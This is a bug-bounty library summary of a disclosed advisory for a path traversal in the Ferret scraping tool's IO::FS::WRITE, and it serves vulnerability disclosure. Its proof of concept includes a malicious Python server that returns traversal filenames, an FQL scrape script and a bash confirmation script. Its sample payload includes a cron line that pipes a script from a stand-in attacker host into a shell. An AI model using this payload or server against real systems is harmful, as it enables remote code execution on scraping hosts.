# Ferret: Path Traversal in IO::FS::WRITE allows arbitrary file write when scraping malicious websites

Ferret's IO::FS::WRITE passes attacker-supplied filenames from scraped sites straight to os.OpenFile, letting a malicious site write arbitrary files and achieve RCE.

- Payout: Research
- Severity: high
- Program: Ferret
- Found by: DavidCarliez
- Disclosed: 2026-04-01
- CVE: CVE-2026-34783
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-j6v5-g24h-vg4j
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-j6v5-g24h-vg4j
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:go technique:source-review vuln:path-traversal vuln:rce

**Target:** FQL standard library filesystem functions (IO::FS::WRITE / IO::FS::READ)
**Root cause:** IO::FS::WRITE passes the user-supplied path directly to os.OpenFile with no canonicalization, base-directory jail, or rejection of `..` components; IO::FS::READ has the same flaw.
**Steps:**
1. Attacker serves JSON with filenames containing traversal, e.g. `{"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}`
2. Victim runs a normal scrape script: `LET path = "/tmp/ferret_output/" + article.name + ".txt"` then `IO::FS::WRITE(path, TO_BINARY(article.content))`
3. Concatenation yields `/tmp/ferret_output/../../etc/cron.d/evil.txt`
4. `os.OpenFile` resolves `../..` and writes outside the intended directory
5. Verify: `cat /tmp/pwned.txt` exists outside `/tmp/ferret_output/`
**How found:** Reporter recognized that a standard scraping pattern concatenates untrusted site-provided filenames into output paths, then traced IO::FS::WRITE to an unsanitized os.OpenFile call; also noted PATH::CLEAN/JOIN use Go's `path` not `path/filepath` and normalize rather than block traversal.
**Exploitation:** Attacker hosts a malicious site returning crafted filenames; victim operator scrapes it using the standard pattern of building output paths from site-provided names. Attacker controls both path and content, writing to cron.d, authorized_keys, shell profiles, or web roots for code execution.
**Escalation:** Arbitrary file write with controlled content escalates to RCE via cron jobs, SSH authorized_keys, shell profiles, or PHP web shells.
**Insight:** In scraping/automation DSLs, the dangerous sink is the 'save scraped file by its remote name' idiom: untrusted remote metadata flows into filesystem paths. Check whether path helpers use `path` vs `path/filepath` — the former normalizes `..` instead of rejecting it, so it is not a mitigation.

## Proof of concept (copied exactly from the original report)

**Malicious server returning traversal filenames**

```
class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()
```

**Ferret scrape script writing attacker-controlled path**

```
LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }
```

**Orchestration script confirming out-of-directory write**

```
#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi
```

